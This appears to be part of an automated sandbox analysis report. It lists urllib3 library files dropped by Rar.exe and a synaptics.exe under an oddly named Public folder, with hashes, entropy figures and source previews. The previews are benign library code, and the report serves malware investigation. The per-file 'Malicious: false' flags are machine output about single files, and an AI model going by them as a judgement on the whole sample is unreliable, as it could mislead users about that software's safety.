SSDEEP:	384:j20pONctjcEuFsxXWNudS5ExQzGDY5MR2WOyBTbpU4QtWxjLcAL2v6T8CEbUu69o:ji+tAEuBNudwExQyDM1DNtOLhqyxu6Gt
MD5:	A41ED36F212B28587E42422FFB9E4B42
SHA1:	C72D8E815D23D7D4B1213CCA6CF55793E901461D
SHA-256:	400C21395E4639576C16732F5F956FE9F43C7F8EC4CDFAD138002B7F145D40E6
SHA-512:	70EE018BC8019DA1E6C68395FD6BAEB652830785C0A32A5CF3269C3B7E4939A7DA683078C578022B1FD408240F51B2A818D62FF31718A5423EC884B5F972B2FB
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import datetime.import http.client.import logging.import os.import re.import socket.import sys.import threading.import typing.import warnings.from http.client import HTTPConnection as _HTTPConnection.from http.client import HTTPException as HTTPException # noqa: F401.from http.client import ResponseNotReady.from socket import timeout as SocketTimeout..if typing.TYPE_CHECKING:. from .response import HTTPResponse. from .util.ssl_ import _TYPE_PEER_CERT_RET_DICT. from .util.ssltransport import SSLTransport..from ._collections import HTTPHeaderDict.from .http2 import probe as http2_probe.from .util.response import assert_header_parsing.from .util.timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT, Timeout.from .util.util import to_str.from .util.wait import wait_for_read..try: # Compiled with SSL?. import ssl.. BaseSSLError = ssl.SSLError.except (ImportError, AttributeError):. ssl = None # type: ignore[assignment].. class BaseSSLError

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\connectionpool.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	43393
Entropy (8bit):	4.361070165720964
Encrypted:	false
SSDEEP:	768:PyTlQ2f1QbQkhKL2+zgzi/4oS2x09V5F4WtytamYw:P2Q2fyBbzi/5QkamYw
MD5:	4F65EC10CA80B40728733931A65B9C06
SHA1:	8377AB930A8032897D65672A09FB811E216FE909
SHA-256:	E5F3C81F2A4FC256CA04048CB3A6C44931095441A5B23F45398F7F1865361A93
SHA-512:	EACD01583F4AB0C35D85AADF902FD1C1E60CD50FEA55EC293467D13E2EF47B249BECB24EBD0718E5E9F508BD1C30B91151C5E382058DE04C2E19970B17BD8602
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import errno.import logging.import queue.import sys.import typing.import warnings.import weakref.from socket import timeout as SocketTimeout.from types import TracebackType..from ._base_connection import _TYPE_BODY.from ._collections import HTTPHeaderDict.from ._request_methods import RequestMethods.from .connection import (. BaseSSLError,. BrokenPipeError,. DummyConnection,. HTTPConnection,. HTTPException,. HTTPSConnection,. ProxyConfig,. _wrap_proxy_error,.).from .connection import port_by_scheme as port_by_scheme.from .exceptions import (. ClosedPoolError,. EmptyPoolError,. FullPoolError,. HostChangedError,. InsecureRequestWarning,. LocationValueError,. MaxRetryError,. NewConnectionError,. ProtocolError,. ProxyError,. ReadTimeoutError,. SSLError,. TimeoutError,.).from .response import BaseHTTPResponse.from .util.connection import is_connection_dropped.from .util.proxy import connection

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\pycache\init.cpython-310.pyc.71102880

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.589436179731363
Encrypted:	false
SSDEEP:	3:y/C8llGllluleh/wZWevouWAuaHF50YTlHX0M9VWrzOXH+IOkcTgp:y/C8lcl/qeh/wjo+uaHxEM9Ar6XeR4
MD5:	90F1B09BA05E86AEBE9D63BC0AFAB6FB
SHA1:	94C96FF5AC94893757E25944E7BB9BA9389827E9
SHA-256:	FE1F38A3B984211662EA49979A2AC2E5AD23E4C0D7CD18EE282CE1DEE087D70D
SHA-512:	7BAA211F4051C912CCAD0C9658D03739308EE9D5E62F8A06DCC6BFFC346168D0F5A597E0BD9E545FA6A736AF51E0A844F00DF13D489B02F52887F67A48E87320
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.S.).N..r....r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\contrib\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\pycache\socks.cpython-310.pyc.71102624

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6128
Entropy (8bit):	5.6368976617629984
Encrypted:	false
SSDEEP:	96:7q8bFojUEqiHSz8XKWZMs7hTbWiTmC69iE245Zi81JQ3:W6VEqt3GbC9ipca3
MD5:	4646FAC81063E984B3293DC09325C233
SHA1:	2789125CE874D5A1B985641F3E3B7706AE70928D
SHA-256:	8FE7CB3D7C99E0B1AB573633646AEF632C5FA603A1F5A7DBB4496D6909AA7F2A
SHA-512:	53C10552C15C3BBB33235016E1CD5DBE10E43B710754F99C693112685E4B7811F793CCF094A0680B98090635853BAD5B2E98EB84FB5890547CC65AC95723D78C
Malicious:	false
Reputation:	low
Preview:	o.......=..f}........................@...s6...d.Z.d.d.l.m.Z...z.d.d.l.Z.W.n...e.y&......d.d.l.Z.d.d.l.m.Z...e...d.e.......w.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.yf......d.Z.Y.n.w.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z d.S.).a.....This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recom

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\emscripten\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	733
Entropy (8bit):	4.527161799307811
Encrypted:	false
SSDEEP:	12:1RjscOstNQm7icj7iMNfAKgX4vkvW2CXAo07icBNro07iMN0T7icPuT7iMNv:1Rp1tvAfNuzn4WnJq
MD5:	C6960672D5A330E53A2557CFCC64D430
SHA1:	CE27902CAFC40DBD0013400D817460E4F6BFAEF2
SHA-256:	BBA28D8338E51596EE0005DAFF26C247B810EF55491129C5F8821D0C0EF76EBC
SHA-512:	83C411239F0C147A44FDD7A251A07EF3BDA7D922C7CA9EA61C76A9DDD58DABFDDFD20A968C799FD3CE142CBEF335484A9A45F574A329E80A7BD7D3C3F9AA9B36
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import urllib3.connection..from ...connectionpool import HTTPConnectionPool, HTTPSConnectionPool.from .connection import EmscriptenHTTPConnection, EmscriptenHTTPSConnection...def inject_into_urllib3() -> None:. # override connection classes to use emscripten specific classes. # n.b. mypy complains about the overriding of classes below. # if it isn't ignored. HTTPConnectionPool.ConnectionCls = EmscriptenHTTPConnection. HTTPSConnectionPool.ConnectionCls = EmscriptenHTTPSConnection. urllib3.connection.HTTPConnection = EmscriptenHTTPConnection # type: ignore[misc,assignment]. urllib3.connection.HTTPSConnection = EmscriptenHTTPSConnection # type: ignore[misc,assignment].

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\emscripten\connection.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8755
Entropy (8bit):	4.497525459881081
Encrypted:	false
SSDEEP:	96:8Ebt+waKt1H9ytP3r7NSWVfbf8hjOnVrif9OwvMfDtF:Pblto/rj7WMZF
MD5:	B2484A578058171D7E25A65AD1522D0E
SHA1:	5B6FD60E13C2B2F5E362BEC69F648DADF89D5675
SHA-256:	91A05EDAD5ADED8CBDBCD50544157B092C839DF8426082C6C63BBD293663F12C
SHA-512:	ADA160189EBA57085B0D0E93FDC17361C0B62E4206C562832C16466D0CB4FCD80F25D464736DA5E7B036DBDA97F82F9B6278BAC2F094DDB34EEC182B994FDC94
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import os.import typing..# use http.client.HTTPException for consistency with non-emscripten.from http.client import HTTPException as HTTPException # noqa: F401.from http.client import ResponseNotReady..from ..._base_connection import _TYPE_BODY.from ...connection import HTTPConnection, ProxyConfig, port_by_scheme.from ...exceptions import TimeoutError.from ...response import BaseHTTPResponse.from ...util.connection import _TYPE_SOCKET_OPTIONS.from ...util.timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.from ...util.url import Url.from .fetch import _RequestError, _TimeoutError, send_request, send_streaming_request.from .request import EmscriptenRequest.from .response import EmscriptenHttpResponseWrapper, EmscriptenResponse..if typing.TYPE_CHECKING:. from ..._base_connection import BaseHTTPConnection, BaseHTTPSConnection...class EmscriptenHTTPConnection:. default_port: typing.ClassVar[int] = port_by_scheme["http"]. default_socket_options: ty

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\emscripten\emscripten_fetch_worker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3655
Entropy (8bit):	4.6612783191186296
Encrypted:	false
SSDEEP:	48:+oqyr3+5Jm/HwlC8qDxRLF2ASKVwb5o+RNzJj8NlVYMMbL/Qq9SRNRJOw40pBRXv:+op+5JmPWCjbF2R5PH4lHMbL/QLOz0p/
MD5:	CD5FB56C8115E0DB8EB92FF3FBE9960A
SHA1:	3D1704D964E37D527D888A606FFC62894520DBFF
SHA-256:	0837D817FF420E86EDC7694689DC89D738C312FC0D4F917E75C8665565C38741
SHA-512:	A414EA8983DA012F9EB8246A36C016D9ACA2FAD2B74F577297B4D02D37D6E5366DADF9993AB92915C3B3A1116D57423B1CF49076F586B3E51F053D9483F87179
Malicious:	false
Reputation:	low
Preview:	let Status = {. SUCCESS_HEADER: -1,. SUCCESS_EOF: -2,. ERROR_TIMEOUT: -3,. ERROR_EXCEPTION: -4,.};..let connections = {};.let nextConnectionID = 1;.const encoder = new TextEncoder();..self.addEventListener("message", async function (event) {. if (event.data.close) {. let connectionID = event.data.close;. delete connections[connectionID];. return;. } else if (event.data.getMore) {. let connectionID = event.data.getMore;. let { curOffset, value, reader, intBuffer, byteBuffer } =. connections[connectionID];. // if we still have some in buffer, then just send it back straight away. if (!value \|\| curOffset >= value.length) {. // read another buffer if required. try {. let readResponse = await reader.read();.. if (readResponse.done) {. // read everything - clear connection and return. delete connections[connectionID];. Atomics.store(intBuffer, 0, Status.SUCCESS_EOF);. Atomics.notify(intBuffer, 0);.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\emscripten\fetch.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14131
Entropy (8bit):	4.581820013726768
Encrypted:	false
SSDEEP:	192:fao+GnxIT+rEm4IVNSCxmhFFsOeA+Df1AlkhIc3SoO:fF+oZMImCOEfDhIuS3
MD5:	1259D5B9753B0A80D00F91D57731D60E
SHA1:	92664A84EBE36BF4E845BA734D76B70506E66A25
SHA-256:	CA6C09947041BB0E964E92A03C7A5D9A6ACD07196CAFBE47AA80F8467DBB6179
SHA-512:	32A7179723C4D90AEC36FBECBC56A607890FF42C864E965529A5FF136BC9E325CF42B62E9FD9EB9CB82FC8875B07B179C12CC950777E93C6F8AA36A52AB776FB
Malicious:	false
Reputation:	low
Preview:	""".Support for streaming http requests in emscripten...A few caveats -..Firstly, you can't do streaming http in the main UI thread, because atomics.wait isn't allowed..Streaming only works if you're running pyodide in a web worker...Secondly, this uses an extra web worker and SharedArrayBuffer to do the asynchronous fetch.operation, so it requires that you have crossOriginIsolation enabled, by serving over https.(or from localhost) with the two headers below set:.. Cross-Origin-Opener-Policy: same-origin. Cross-Origin-Embedder-Policy: require-corp..You can tell if cross origin isolation is successfully enabled by looking at the global crossOriginIsolated variable in.javascript console. If it isn't, streaming requests will fallback to XMLHttpRequest, i.e. getting the whole.request into a buffer and then returning it. it shows a warning in the javascript console in this case...Finally, the webworker which does the streaming fetch is created on initial import, but will only be star

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\emscripten\request.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	566
Entropy (8bit):	4.6695794858845625
Encrypted:	false
SSDEEP:	12:1Rjd6xkB2laJtp7Hz+6ZfM+9B2Nx4ehQCn7e7q9NNMdke:1RXBP+6ZfM+9QQw5xMqe
MD5:	56AAE3C754DE48411A8E711AE387D95F
SHA1:	59F1A59F8AC5104E0552CBD253311E47B5A5FB9E
SHA-256:	98BDBCB33CB52AF137349856A2BE633666ABA7C830A650D4FBB8301996398344
SHA-512:	5C65B5F475B5899609B7F99610C1672A0B8538481AD74436DE4078DC1E94D7E39CFDBE045C15C16C1B21B3959E89245C58D3A6DE52BDDA7961EE315EB6D5BA83
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..from dataclasses import dataclass, field..from ..._base_connection import _TYPE_BODY...@dataclass.class EmscriptenRequest:. method: str. url: str. params: dict[str, str] \| None = None. body: _TYPE_BODY \| None = None. headers: dict[str, str] = field(default_factory=dict). timeout: float = 0. decode_content: bool = True.. def set_header(self, name: str, value: str) -> None:. self.headers[name.capitalize()] = value.. def set_body(self, body: _TYPE_BODY \| None) -> None:. self.body = body.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\emscripten\response.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10017
Entropy (8bit):	4.2204512478917655
Encrypted:	false
SSDEEP:	96:6cnNlu+w09uF0qLthGyvUEaIg+N0axUlZ0ylZBA24bKldWQxcyf1TF4BK:6cnCuqLts6BNl1KGQGq1TFz
MD5:	282AFBF6D4A8D0F9B050E8FAD830F1E3
SHA1:	C6DE44BD91204180EA3EE31A1EFF677DC361D317
SHA-256:	C046163C708BF89B200ADA42A5F9D6198035F837230C6A451AA5825D92F06C76
SHA-512:	EB1EBC466D77476A6406658083EB6597B6B1545B761BFAF22F1AB9171DFC21D88188BFBAA6CFAC7457CBEAE18475DC207AA71F45044480D491A54242AC192B73
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import json as _json.import logging.import typing.from contextlib import contextmanager.from dataclasses import dataclass.from http.client import HTTPException as HTTPException.from io import BytesIO, IOBase..from ...exceptions import InvalidHeader, TimeoutError.from ...response import BaseHTTPResponse.from ...util.retry import Retry.from .request import EmscriptenRequest..if typing.TYPE_CHECKING:. from ..._base_connection import BaseHTTPConnection, BaseHTTPSConnection..log = logging.getLogger(__name__)...@dataclass.class EmscriptenResponse:. status_code: int. headers: dict[str, str]. body: IOBase \| bytes. request: EmscriptenRequest...class EmscriptenHttpResponseWrapper(BaseHTTPResponse):. def __init__(. self,. internal_response: EmscriptenResponse,. url: str \| None = None,. connection: BaseHTTPConnection \| BaseHTTPSConnection \| None = None,. ):. self._pool = None # set by pool class. se

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\pyopenssl.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19338
Entropy (8bit):	4.845719429755584
Encrypted:	false
SSDEEP:	192:WwnnmU84aF2O8YwCv0KZ78tuqhGWDUGI0iwZzaawE0wD4g0DHfYrf3Jz3OIY/JBc:W0nLQBwCvPhGzhGUiwdfD7FYuI6
MD5:	B52F8166A10EAAFAB07641E10C29FB8F
SHA1:	1ABC4989FCB7FD5AB9AF0E2E1FD299080BB3A66A
SHA-256:	F623F88FC25A7C0E21AAD5FD02027DCF1AEA23E89CA211ABA85A8032BCA835D0
SHA-512:	BDE2D42D817DCADA3711CE63747F921C7F15DE04609B8554366EB8AE9B9C339A27233884F5B779EC7AD5005443D9FDB0063F5386AAE3EA5AAA1F72431EB2915D
Malicious:	false
Reputation:	low
Preview:	""".Module for using pyOpenSSL as a TLS backend. This module was relevant before.the standard library ``ssl`` module supported SNI, but now that we've dropped.support for Python 2.7 all relevant Python versions support SNI so.this module is no longer recommended...This needs the following packages installed:..* `pyOpenSSL`_ (tested with 16.0.0).* `cryptography`_ (minimum 1.3.4, from pyopenssl).* `idna`_ (minimum 2.0)..However, pyOpenSSL depends on cryptography, so while we use all three directly here we.end up having relatively few packages required...You can install them with the following command:.... code-block:: bash.. $ python -m pip install pyopenssl cryptography idna..To activate certificate checking, call.:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code.before you begin making HTTP requests. This can be done in a ``sitecustomize``.module, or at any other time before your application begins using ``urllib3``,.like this:.... code-block:: python.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\contrib\socks.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7549
Entropy (8bit):	4.639834169659284
Encrypted:	false
SSDEEP:	96:AojUEqLPKpdAZN7KOSwZf0wvMrpV611hMEZVgJ9:AVEqmrw7KOJZf0wvQpk11KE7M9
MD5:	0CF6C586F832D200056BD86CE4B470E5
SHA1:	8F6EBE4990D32760297208D75D5B4978892DB4E5
SHA-256:	FA26AB75CEB51B2A6C2730FA5BACAE452ECA542C9FA30710AE5FFBD7D1FB9483
SHA-512:	89C8AA742C2CD6B0647DA45B4B2708715C8B32877987CC43F62B33B7D0EEBF7E4476D321ABF758DD6D8B6362E447BCEB9A89DE862722AF56D8A0F13107C01FF3
Malicious:	false
Reputation:	low
Preview:	""".This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in. your ``proxy_url`` to ensure that DNS resolution is done from the remote. server instead of client-side when connecting to a domain name...SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5.supports IPv4, IPv6, and domain names...When connecting to a SOCKS4 proxy the ``usern

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\exceptions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9393
Entropy (8bit):	4.792397513804208
Encrypted:	false
SSDEEP:	96:/yFB1ICxHTkuUw7qRlqHN4cVSPC5fjY/axAIH9s3w6pov+1xBXVm65BPHQcc19U6:/CTXrWZcmC9XH9spoCFm65BPHQcrO95
MD5:	4F61F9FFB40020611E33E90E9F64752E
SHA1:	6866D84C5CBF24BE572B91D694A83EA69F14551B
SHA-256:	4436A2B9DB51EEBA9B54A4CAA4B4A064106DC1A22A57B799B5EAEF655FE665A8
SHA-512:	C0E625642E608878831E3D104A011C7EA1913A0B78D6BA9A9BC0CC92B94D34C7185A71F0D5B134958A0A78BD14ED7FC2ABE14DFEB3057CA2AB1936226562CF44
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import socket.import typing.import warnings.from email.errors import MessageDefect.from http.client import IncompleteRead as httplib_IncompleteRead..if typing.TYPE_CHECKING:. from .connection import HTTPConnection. from .connectionpool import ConnectionPool. from .response import HTTPResponse. from .util.retry import Retry..# Base Exceptions...class HTTPError(Exception):. """Base exception used by this module."""...class HTTPWarning(Warning):. """Base warning used by this module."""..._TYPE_REDUCE_RESULT = typing.Tuple[. typing.Callable[..., object], typing.Tuple[object, ...].]...class PoolError(HTTPError):. """Base exception for errors caused within a pool.""".. def __init__(self, pool: ConnectionPool, message: str) -> None:. self.pool = pool. super().__init__(f"{pool}: {message}").. def __reduce__(self) -> _TYPE_REDUCE_RESULT:. # For pickling purposes.. return self.__class__, (None, None)...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\fields.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10843
Entropy (8bit):	4.6192856607563595
Encrypted:	false
SSDEEP:	192:WSerkc/Ank8CQqdfkl92KcOpIshgcRG/A47FAK/:WSerkSATIDOpIsh747FAK/
MD5:	2BD54B482695939797D7AFE1FF47707A
SHA1:	8778216DE2496C87F13E4B426B43B932C7B9CBC1
SHA-256:	F2F8B43DE468FE91397213E6240D3B2D9B4C91596CE14AC14B5936C4CE74EA33
SHA-512:	A5DAFC869C39C369AE2EBE88931DEABBD68F2A4CEC8BC09C99753AF75A713CA1B96E8989B3AD38E754EB548C1D6829A6F0AFC50368AC7C91A6AE430E5DEE7EFE
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import email.utils.import mimetypes.import typing.._TYPE_FIELD_VALUE = typing.Union[str, bytes]._TYPE_FIELD_VALUE_TUPLE = typing.Union[. _TYPE_FIELD_VALUE,. typing.Tuple[str, _TYPE_FIELD_VALUE],. typing.Tuple[str, _TYPE_FIELD_VALUE, str],.]...def guess_content_type(. filename: str \| None, default: str = "application/octet-stream".) -> str:. """. Guess the "Content-Type" of a file... :param filename:. The filename to guess the "Content-Type" of using :mod:`mimetypes`.. :param default:. If no "Content-Type" can be guessed, default to `default`.. """. if filename:. return mimetypes.guess_type(filename)[0] or default. return default...def format_header_param_rfc2231(name: str, value: _TYPE_FIELD_VALUE) -> str:. """. Helper function to format and quote a single header parameter using the. strategy defined in RFC 2231... Particularly useful for header parameters which might contain. non-A

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\filepost.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	4.946770037622349
Encrypted:	false
SSDEEP:	48:PV0Gy/fOGJ7Ae16YNKAqj2GSgg5/zjggoW:TyHOGNAeE2DmgoW
MD5:	ED5B7522289EBB739A3E3800CCF533C0
SHA1:	E80BE57EC82444ECD1E52FB96A132998AFAFC79A
SHA-256:	FBDA894F5D5C3468CEF5DAA7236D3EA04AD9B93BCD68CD7CC5964F0A36526CE1
SHA-512:	34886FD378BE78B2301C5FC325DECAE9E8A269DF49DBE127604A41379F8BF01E0ED17AB2E47EDCDFCC5E4DE287D2C94B20D6051AA599B1A6BA7B5D60783DE1D0
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..import binascii.import codecs.import os.import typing.from io import BytesIO..from .fields import _TYPE_FIELD_VALUE_TUPLE, RequestField..writer = codecs.lookup("utf-8")[3].._TYPE_FIELDS_SEQUENCE = typing.Sequence[. typing.Union[typing.Tuple[str, _TYPE_FIELD_VALUE_TUPLE], RequestField].]._TYPE_FIELDS = typing.Union[. _TYPE_FIELDS_SEQUENCE,. typing.Mapping[str, _TYPE_FIELD_VALUE_TUPLE],.]...def choose_boundary() -> str:. """. Our embarrassingly-simple replacement for mimetools.choose_boundary.. """. return binascii.hexlify(os.urandom(16)).decode()...def iter_field_objects(fields: _TYPE_FIELDS) -> typing.Iterable[RequestField]:. """. Iterate over fields... Supports list of (k, v) tuples and dicts, and lists of. :class:`~urllib3.fields.RequestField`... """. iterable: typing.Iterable[RequestField \| tuple[str, _TYPE_FIELD_VALUE_TUPLE]].. if isinstance(fields, typing.Mapping):. iterable = fields.items(). e

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\http2\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	4.847457208242871
Encrypted:	false
SSDEEP:	48:P66qahy6p9S8DV+NMSRKv+0VJN0/ErA9sCZVsCn:yKlphR+NMS0m0VJN0/EMDVp
MD5:	73C659DE6243D65676BA07027886B65E
SHA1:	3E0DE2068E4B0CDFF235A49D6ACDA3DB24D4AEC2
SHA-256:	C73AC0487ED1E4035190F24EA2DE651A70133AADCA2AEC97CC8E36ADC9F09AAB
SHA-512:	2B05B9AF717D545239F4C867394432865FD13C80EB84518AB6671FFD29FEF5536FF846E369D672B815102285F093154A39BDEDB31D34AD72F503EB3B1B1E8269
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations..from importlib.metadata import version..__all__ = [. "inject_into_urllib3",. "extract_from_urllib3",.]..import typing..orig_HTTPSConnection: typing.Any = None...def inject_into_urllib3() -> None:. # First check if h2 version is valid. h2_version = version("h2"). if not h2_version.startswith("4."):. raise ImportError(. "urllib3 v2 supports h2 version 4.x.x, currently ". f"the 'h2' module is compiled with {h2_version!r}. ". "See: https://github.com/urllib3/urllib3/issues/3290". ).. # Import here to avoid circular dependencies.. from .. import connection as urllib3_connection. from .. import util as urllib3_util. from ..connectionpool import HTTPSConnectionPool. from ..util import ssl_ as urllib3_util_ssl. from .connection import HTTP2Connection.. global orig_HTTPSConnection. orig_HTTPSConnection = urllib3_connection.HTTPSConnection.. HTTPSConnectionPool.ConnectionC

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\http2\pycache\init.cpython-310.pyc.74065824

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1404
Entropy (8bit):	5.389733870241377
Encrypted:	false
SSDEEP:	24:LMu6QKYYYH7N9QU4DMU3KZsGfM3yRiR7FXpHW92vbwFWHrb49msQWP7:ABdYLbX4DinRaXRD9Hrb4mAP7
MD5:	1590C80DBE3C9FE424FADF48BC409946
SHA1:	97E3E3E9B23D6B5EF05FF0941B19F8A3D8DE50E4
SHA-256:	FB17FA6AC53BB4BC33C9B03B3F0650DBA4441C1CE3C42DBDDA31A5E61FB47DB7
SHA-512:	55CA40A78BCED9B8AC10B8AE092FA3A09E321349A0FA87AE7BFFA9E47986F0C29801FA6A5067CDF717F6EF56232BE6150265E43166F5BECFBB1B3C75C2CC51F3
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...sN...U.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.l.Z.d.a.d.e.d.<.d.d.d...Z.d.d.d...Z.d.S.)......)...annotations)...version..inject_into_urllib3..extract_from_urllib3Nz.typing.Any..orig_HTTPSConnection..return..Nonec....................C...s....t.d...}.\|...d...s.t.d.\|...d.......d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...\|.j.a.\|.\|._.\|.\|._.d.g.\|._.d.g.\|._.d.S.).N..h2z.4.zQurllib3 v2 supports h2 version 4.x.x, currently the 'h2' module is compiled with z5. See: https://github.com/urllib3/urllib3/issues/3290.........connection....util....HTTPSConnectionPool....ssl_.....)...HTTP2Connection).r......startswith..ImportError..r....r......connectionpoolr....r....r......HTTPSConnectionr......ConnectionCls..ALPN_PROTOCOLS).Z.h2_version..urllib3_connection..urllib3_utilr......urllib3_util_sslr......r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\http2\__init__.pyr........s".....................................c....................C...

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\http2\pycache\probe.cpython-310.pyc.74879368

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2538
Entropy (8bit):	5.259623122633178
Encrypted:	false
SSDEEP:	48:kPQG3rPiqRTB08DGmDZrZCYawGQ2bcwf27jpWsI663cv6iuJh6+:kzZ/DGmDZEYaw4bbujpXkSNok+
MD5:	D2254B6CEBDA8DF150D456B4742724C6
SHA1:	00093CC93F7087A44FDC68C6DBC23C742D1132CA
SHA-256:	FF7532641CF5FF3491AADCC77C3E11F2662411B9210EBE209CF54218A1A9A013
SHA-512:	4B9E4858A0033E3BF331E18E496AFA7C03EB64E207F954555A8471541FC1F470A7A993C7BF64729F436710FE1DFB3AEE4E0F0A30B852D507CACA74FEE5448004
Malicious:	false
Reputation:	low
